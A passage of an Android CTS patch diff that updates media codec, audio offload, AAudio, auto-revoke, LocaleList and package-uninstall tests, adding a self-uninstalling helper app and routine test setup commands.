+++ b/tests/tests/media/libmediandkjni/native-media-jni.cpp
@@ -1060,7 +1060,8 @@
jint bitRate,
jint frameRate,
jint iFrameInterval,
- jobject csd,
+ jobject csd0,
+ jobject csd1,
jint flags,
jint lowLatency,
jobject surface) {
@@ -1098,10 +1099,16 @@
}
}
- if (csd != NULL) {
- void *csdPtr = env->GetDirectBufferAddress(csd);
- jlong csdSize = env->GetDirectBufferCapacity(csd);
- AMediaFormat_setBuffer(format, "csd-0", csdPtr, csdSize);
+ if (csd0 != NULL) {
+ void *csd0Ptr = env->GetDirectBufferAddress(csd0);
+ jlong csd0Size = env->GetDirectBufferCapacity(csd0);
+ AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
+ }
+
+ if (csd1 != NULL) {
+ void *csd1Ptr = env->GetDirectBufferAddress(csd1);
+ jlong csd1Size = env->GetDirectBufferCapacity(csd1);
+ AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
}
media_status_t err = AMediaCodec_configure(
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index e17bf8f..887b868 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -23,6 +23,7 @@
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioTrack;
+import android.os.SystemClock;
import android.util.Log;
import com.android.compatibility.common.util.CtsAndroidTestCase;
@@ -38,7 +39,11 @@
private static final int BUFFER_SIZE_SEC = 3;
- private static final int PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+ private static final long DATA_REQUEST_TIMEOUT_MS = 6 * 1000; // 6s
+ private static final long DATA_REQUEST_POLL_PERIOD_MS = 1 * 1000; // 1s
+ private static final long PRESENTATION_END_TIMEOUT_MS = 8 * 1000; // 8s
+ private static final int AUDIOTRACK_DEFAULT_SAMPLE_RATE = 44100;
+ private static final int AUDIOTRACK_DEFAULT_CHANNEL_MASK = AudioFormat.CHANNEL_OUT_STEREO;
private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
@@ -124,21 +129,23 @@
while (written < read) {
int wrote = track.write(data, written, read - written,
AudioTrack.WRITE_BLOCKING);
- Log.i(TAG, String.format("wrote %dbytes (%d out of %d)", wrote, written, read));
+ Log.i(TAG, String.format("wrote %d bytes (%d out of %d)", wrote, written, read));
if (wrote < 0) {
fail("Unable to write all read data, wrote " + written + " bytes");
}
written += wrote;
}
+
try {
- Thread.sleep(BUFFER_SIZE_SEC * 1000);
- synchronized(mPresEndLock) {
+ final long elapsed = checkDataRequest(DATA_REQUEST_TIMEOUT_MS);
+ synchronized (mPresEndLock) {
+ track.setOffloadEndOfStream();
+
track.stop();
- mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS);
+ mPresEndLock.safeWait(PRESENTATION_END_TIMEOUT_MS - elapsed);
}
- } catch (InterruptedException e) { fail("Error while sleeping"); }
- synchronized (mEventCallbackLock) {
- assertTrue("onDataRequest not called", mCallback.mDataRequestCount > 0);
+ } catch (InterruptedException e) {
+ fail("Error while sleeping");
}
synchronized (mPresEndLock) {
// we are at most PRESENTATION_END_TIMEOUT_MS + 1s after about 3s of data was
@@ -154,14 +161,30 @@
track.unregisterStreamEventCallback(mCallback);
track.release();
}
+ };
+ }
+
+ private long checkDataRequest(long timeout) throws Exception {
+ long checkStart = SystemClock.uptimeMillis();
+ boolean calledback = false;
+ while (SystemClock.uptimeMillis() - checkStart < timeout) {
+ synchronized (mEventCallbackLock) {
+ if (mCallback.mDataRequestCount > 0) {
+ calledback = true;
+ break;
+ }
+ }
+ Thread.sleep(DATA_REQUEST_POLL_PERIOD_MS);
}
+ assertTrue("onDataRequest not called", calledback);
+ return (SystemClock.uptimeMillis() - checkStart);
}
private static AudioFormat getAudioFormatWithEncoding(int encoding) {
return new AudioFormat.Builder()
.setEncoding(encoding)
- .setSampleRate(44100)
- .setChannelMask(AudioFormat.CHANNEL_OUT_STEREO)
+ .setSampleRate(AUDIOTRACK_DEFAULT_SAMPLE_RATE)
+ .setChannelMask(AUDIOTRACK_DEFAULT_CHANNEL_MASK)
.build();
}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 05f486f..b8064c0 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -1602,13 +1602,17 @@
final int TEST_LOOPS = 1;
final double TEST_LOOP_DURATION = 1.;
final int TEST_ADDITIONAL_DRAIN_MS = 0;
+ // Compensates for cold start when run in isolation.
+ // The cold output latency must be 500 ms less or
+ // 200 ms less for low latency devices.
+ final long WAIT_TIME_MS = isLowLatencyDevice() ? WAIT_MSEC : 500;
for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
double frequency = 400; // frequency changes for each test
for (int TEST_SR : TEST_SR_ARRAY) {
for (int TEST_CONF : TEST_CONF_ARRAY) {
playOnceStaticData(TEST_NAME, TEST_MODE, TEST_STREAM_TYPE, TEST_SWEEP,
- TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_MSEC,
+ TEST_LOOPS, TEST_FORMAT, frequency, TEST_SR, TEST_CONF, WAIT_TIME_MS,
TEST_LOOP_DURATION, TEST_ADDITIONAL_DRAIN_MS);
frequency += 70; // increment test tone frequency
@@ -2094,6 +2098,11 @@
.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
}
+ private boolean isLowLatencyDevice() {
+ return getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+ }
+
private boolean isLowRamDevice() {
return ((ActivityManager) getContext().getSystemService(Context.ACTIVITY_SERVICE))
.isLowRamDevice();
diff --git a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
index 7c3791f..d3470c7 100644
--- a/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
+++ b/tests/tests/media/src/android/media/cts/NdkMediaCodec.java
@@ -28,6 +28,8 @@
public class NdkMediaCodec implements MediaCodecWrapper {
private static final String CSD_0 = "csd-0";
+ private static final String CSD_1 = "csd-1";
+ private static final String CSD_2 = "csd-2";
private long mNdkMediaCodec;
private final String mName;
@@ -63,7 +65,8 @@
int bitRate,
int frameRate,
int iFrameInterval,
- ByteBuffer csd,
+ ByteBuffer csd0,
+ ByteBuffer csd1,
int flags,
int lowLatency,
Surface surface);
@@ -118,12 +121,25 @@
int iFrameInterval = format.getInteger(MediaFormat.KEY_I_FRAME_INTERVAL, -1);
int lowLatency = format.getInteger(MediaFormat.KEY_LOW_LATENCY, -1);
- ByteBuffer csdBufCopy = null;
+ ByteBuffer csd0BufCopy = null;
if (format.containsKey(CSD_0)) {
- ByteBuffer csdBufOld = format.getByteBuffer(CSD_0);
- csdBufCopy = ByteBuffer.allocateDirect(csdBufOld.remaining());
- csdBufCopy.put(csdBufOld);
- csdBufCopy.position(0);
+ ByteBuffer csd0BufOld = format.getByteBuffer(CSD_0);
+ csd0BufCopy = ByteBuffer.allocateDirect(csd0BufOld.remaining());
+ csd0BufCopy.put(csd0BufOld);
+ csd0BufCopy.position(0);
+ }
+
+ ByteBuffer csd1BufCopy = null;
+ if (format.containsKey(CSD_1)) {
+ ByteBuffer csd1BufOld = format.getByteBuffer(CSD_1);
+ csd1BufCopy = ByteBuffer.allocateDirect(csd1BufOld.remaining());
+ csd1BufCopy.put(csd1BufOld);
+ csd1BufCopy.position(0);
+ }
+
+ // fail loudly so the test can be properly extended.
+ if (format.containsKey(CSD_2)) {
+ throw new UnsupportedOperationException("test error: does not handle csd-2");
}
AMediaCodecConfigure(
@@ -135,7 +151,8 @@
bitRate,
frameRate,
iFrameInterval ,
- csdBufCopy,
+ csd0BufCopy,
+ csd1BufCopy,
flags,
lowLatency,
surface);
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index d24d764..507a9f8 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -14,24 +14,33 @@
android_test {
name: "CtsMediaParserTestCases",
- defaults: ["cts_defaults"],
+ defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+ min_sdk_version: "29",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+ name: "CtsMediaParserTestCasesApp",
+ defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+ name: "CtsMediaParserTestCasesDefaults",
+ srcs: ["src/**/*.java"],
static_libs: [
"ctstestrunner-axt",
"androidx.test.ext.junit",
"exoplayer2-extractor-test-utils",
"exoplayer2-extractor-tests-assets",
],
- srcs: ["src/**/*.java"],
- sdk_version: "test_current",
- min_sdk_version: "29",
libs: [
"android.test.base",
"android.test.runner",
],
-
- test_suites: [
- "cts",
- "general-tests",
- "mts",
- ],
+ sdk_version: "test_current",
}
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
"presubmit": [
{
"name": "CtsMediaParserTestCases"
+ },
+ {
+ "name": "CtsMediaParserHostTestCases"
}
]
}
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
mediaParser.setParameter(entry.getKey(), entry.getValue());
}
- mediaParser.advance(inputReader);
- if (expectedParserName != null) {
- assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
- // We are only checking that the extractor is the right one.
- mediaParser.release();
- return;
- }
+ try {
+ mediaParser.advance(inputReader);
+ if (expectedParserName != null) {
+ assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+ // We are only checking that the extractor is the right one.
+ return;
+ }
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
- // If the SeekMap is seekable, test seeking in the stream.
- MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
- assertThat(seekMap).isNotNull();
- if (seekMap.isSeekable()) {
- long durationUs = seekMap.getDurationMicros();
- for (int j = 0; j < 4; j++) {
- outputConsumer.clearTrackOutputs();
- long timeUs =
- durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
- ? 0
- : (durationUs * j) / 3;
- MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
- inputReader.reset();
- inputReader.setPosition((int) seekPoint.position);
- mediaParser.seek(seekPoint);
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
- if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
- break;
+ // If the SeekMap is seekable, test seeking in the stream.
+ MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+ assertThat(seekMap).isNotNull();
+ if (seekMap.isSeekable()) {
+ long durationUs = seekMap.getDurationMicros();
+ for (int j = 0; j < 4; j++) {
+ outputConsumer.clearTrackOutputs();
+ long timeUs =
+ durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+ ? 0
+ : (durationUs * j) / 3;
+ MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+ inputReader.reset();
+ inputReader.setPosition((int) seekPoint.position);
+ mediaParser.seek(seekPoint);
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
+ if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+ break;
+ }
}
}
+ } finally {
+ mediaParser.release();
}
- mediaParser.release();
}
private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index daf5d6c..b8ea502 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -48,6 +48,53 @@
const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
+ // This checks for expected behavior after a stream has been released.
+ void checkCallsAfterRelease() {
+ // We expect these not to crash.
+ AAudioStream_setBufferSizeInFrames(stream(), 0);
+ AAudioStream_setBufferSizeInFrames(stream(), 99999999);
+
+ // We should NOT be able to start or change a stream after it has been released.
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestStart(stream()));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+ // Pause is only implemented for OUTPUT.
+ if (AAudioStream_getDirection(stream()) == AAUDIO_DIRECTION_OUTPUT) {
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestPause(stream()));
+ }
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestStop(stream()));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+
+ // Do these return positive integers?
+ // Frames read or written may be zero if the stream has not had time to advance.
+ EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
+ EXPECT_GE(AAudioStream_getFramesWritten(stream()), 0);
+ EXPECT_GT(AAudioStream_getFramesPerBurst(stream()), 0);
+ EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+ EXPECT_GT(AAudioStream_getBufferCapacityInFrames(stream()), 0);
+ EXPECT_GT(AAudioStream_getBufferSizeInFrames(stream()), 0);
+
+ int64_t timestampFrames = 0;
+ int64_t timestampNanos = 0;
+ aaudio_result_t result = AAudioStream_getTimestamp(stream(), CLOCK_MONOTONIC,
+ ×tampFrames, ×tampNanos);
+ EXPECT_TRUE(result == AAUDIO_ERROR_INVALID_STATE
+ || result == AAUDIO_ERROR_UNIMPLEMENTED
+ || result == AAUDIO_OK
+ );
+
+ // Verify Closing State. Does this crash?
+ aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+ EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+ AAUDIO_STREAM_STATE_UNKNOWN,
+ &state,
+ 500 * NANOS_PER_MILLISECOND));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
+ }
+
/**
* @return buffer with correct size for the stream format.
*/
@@ -86,7 +133,7 @@
bool mSetupSuccessful = false;
std::unique_ptr<int16_t[]> mShortData;
- std::unique_ptr<float[]> mFloatData;
+ std::unique_ptr<float[]> mFloatData;
};
class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
@@ -206,6 +253,9 @@
aaudio_stream_state_t state = AAudioStream_getState(stream());
EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
}
+
+ checkCallsAfterRelease();
+
}
INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
@@ -408,11 +458,16 @@
if (!mSetupSuccessful) return;
mHelper->startStream();
- aaudio_result_t result = AAudioStream_write(
- stream(), getDataBuffer(), framesPerBurst(),
- DEFAULT_READ_TIMEOUT);
- ASSERT_GT(result, 0);
+ // Write a few times so the device has time to read some of the data
+ // and maybe advance the framesRead.
+ for (int i = 0; i < 3; i++) {
+ aaudio_result_t result = AAudioStream_write(
+ stream(), getDataBuffer(), framesPerBurst(),
+ DEFAULT_READ_TIMEOUT);
+ ASSERT_GT(result, 0);
+ }
mHelper->stopStream();
+ EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
// It should be safe to release multiple times.
for (int i = 0; i < 3; i++) {
@@ -420,6 +475,9 @@
aaudio_stream_state_t state = AAudioStream_getState(stream());
EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
}
+
+ checkCallsAfterRelease();
+
}
// Note that the test for EXCLUSIVE sharing mode may fail gracefully if
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index ab22e7e..44a5444 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -16,6 +16,8 @@
package android.os.cts
+import android.app.Instrumentation
+import android.content.Context
import android.content.Intent
import android.content.Intent.ACTION_AUTO_REVOKE_PERMISSIONS
import android.content.Intent.FLAG_ACTIVITY_NEW_TASK
@@ -29,10 +31,10 @@
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiObject2
-import android.test.InstrumentationTestCase
import android.view.accessibility.AccessibilityNodeInfo
import android.widget.Switch
-import com.android.compatibility.common.util.textAsString
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.MatcherUtils.hasTextThat
import com.android.compatibility.common.util.SystemUtil
import com.android.compatibility.common.util.SystemUtil.runShellCommand
@@ -42,11 +44,19 @@
import com.android.compatibility.common.util.click
import com.android.compatibility.common.util.depthFirstSearch
import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.textAsString
import com.android.compatibility.common.util.uiDump
import org.hamcrest.CoreMatchers.containsString
import org.hamcrest.CoreMatchers.containsStringIgnoringCase
+import org.hamcrest.CoreMatchers.equalTo
import org.hamcrest.Matcher
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertFalse
import org.junit.Assert.assertThat
+import org.junit.Assert.assertTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
import java.lang.reflect.Modifier
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicReference
@@ -61,7 +71,11 @@
/**
* Test for auto revoke
*/
-class AutoRevokeTest : InstrumentationTestCase() {
+@RunWith(AndroidJUnit4::class)
+class AutoRevokeTest {
+
+ private val context: Context = InstrumentationRegistry.getTargetContext()
+ private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
private val mPermissionControllerResources: Resources = context.createPackageContext(
context.packageManager.permissionControllerPackageName, 0).resources
@@ -70,9 +84,27 @@
const val LOG_TAG = "AutoRevokeTest"
}
+ @Before
+ fun setup() {
+ // Kill Permission Controller
+ assertThat(
+ runShellCommand("killall " +
+ context.packageManager.permissionControllerPackageName),
+ equalTo(""))
+
+ // Collapse notifications
+ assertThat(
+ runShellCommand("cmd statusbar collapse"),
+ equalTo(""))
+
+ // Wake up the device
+ runShellCommand("input keyevent KEYCODE_WAKEUP")
+ runShellCommand("input keyevent 82")
+ }
+
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testUnusedApp_getsPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(3L) {
withDummyApp {
// Setup
@@ -103,8 +135,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testUsedApp_doesntGetPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(100_000L) {
withDummyApp {
// Setup
@@ -127,8 +159,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testPreRUnusedApp_doesntGetPermissionRevoked() {
- wakeUpScreen()
withUnusedThresholdMs(3L) {
withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
withDummyApp {
@@ -168,8 +200,8 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testAutoRevoke_userWhitelisting() {
- wakeUpScreen()
withUnusedThresholdMs(4L) {
withDummyApp {
// Setup
@@ -205,14 +237,15 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testInstallGrants_notRevokedImmediately() {
- wakeUpScreen()
withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
withDummyApp {
// Setup
goToPermissions()
click("Calendar")
click("Allow")
+ Thread.sleep(500)
goBack()
goBack()
goBack()
@@ -231,6 +264,7 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ @Test
fun testAutoRevoke_whitelistingApis() {
withDummyApp {
val pm = context.packageManager
@@ -258,11 +292,6 @@
}
}
- private fun wakeUpScreen() {
- runShellCommand("input keyevent KEYCODE_WAKEUP")
- runShellCommand("input keyevent 82")
- }
-
private fun runAutoRevoke() {
runShellCommand("cmd jobscheduler run -u 0 " +
"-f ${context.packageManager.permissionControllerPackageName} 2")
diff --git a/tests/tests/os/src/android/os/cts/LocaleListTest.java b/tests/tests/os/src/android/os/cts/LocaleListTest.java
index 8eee8c6d..3d05332 100644
--- a/tests/tests/os/src/android/os/cts/LocaleListTest.java
+++ b/tests/tests/os/src/android/os/cts/LocaleListTest.java
@@ -93,13 +93,9 @@
public void testRepeatedArguments() {
final Locale[] la = {Locale.US, Locale.US};
- LocaleList ll = null;
- try {
- ll = new LocaleList(la);
- fail("Initializing a LocaleList with an array containing duplicates should throw.");
- } catch (Throwable e) {
- assertEquals(IllegalArgumentException.class, e.getClass());
- }
+ LocaleList ll = new LocaleList(la);
+ assertEquals(1, ll.size());
+ assertEquals(Locale.US, ll.get(0));
}
public void testIndexOf() {
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
similarity index 72%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index f720d7d..a5e2fd3 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,16 +11,24 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
+ name: "CtsSelfUninstallingTestApp",
defaults: ["cts_defaults"],
+
sdk_version: "current",
- // Tag this module as a cts test artifact
+
+ srcs: ["src/**/*.java"],
+
+ static_libs: [
+ "androidx.core_core",
+ ],
+
+ // tag this module as a cts test artifact
test_suites: [
+ "arcts",
"cts",
+ "vts10",
"general-tests",
],
- certificate: ":cts-testkey2",
}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.packageinstaller.selfuninstalling.cts" >
+
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+ <application android:label="Self Uninstalling Test App">
+ <activity android:name=".SelfUninstallActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
similarity index 61%
rename from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
rename to tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
index 0943be7..ac0fb40 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionDefinerApp/res/values/strings.xml
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
+<!-- Copyright (C) 2020 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,6 +14,11 @@
limitations under the License.
-->
-<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
- <string name="test_permission">Test Installtime Permission</string>
-</resources>
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent" >
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.self_uninstalling_activity);
+ registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+ Uri.fromParts("package", getPackageName(), null));
+ startActivity(i);
+ }
+ }, new IntentFilter(ACTION_SELF_UNINSTALL));
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index 26e9d7e..b00c9a6 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -20,7 +20,9 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"platform-test-annotations",
+ "cts-wm-util",
],
+ resource_dirs: ["res"],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
// Tag this module as a cts test artifact
diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
index cfae7b9..a86f03a 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.packageinstaller.uninstall.cts" >
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<application android:label="Cts Package Uninstaller Tests">
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
<option name="package" value="android.packageinstaller.uninstall.cts" />
<option name="runtime-hint" value="1m" />
</test>
+ <!-- Create place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <!-- Load additional APKs onto device -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
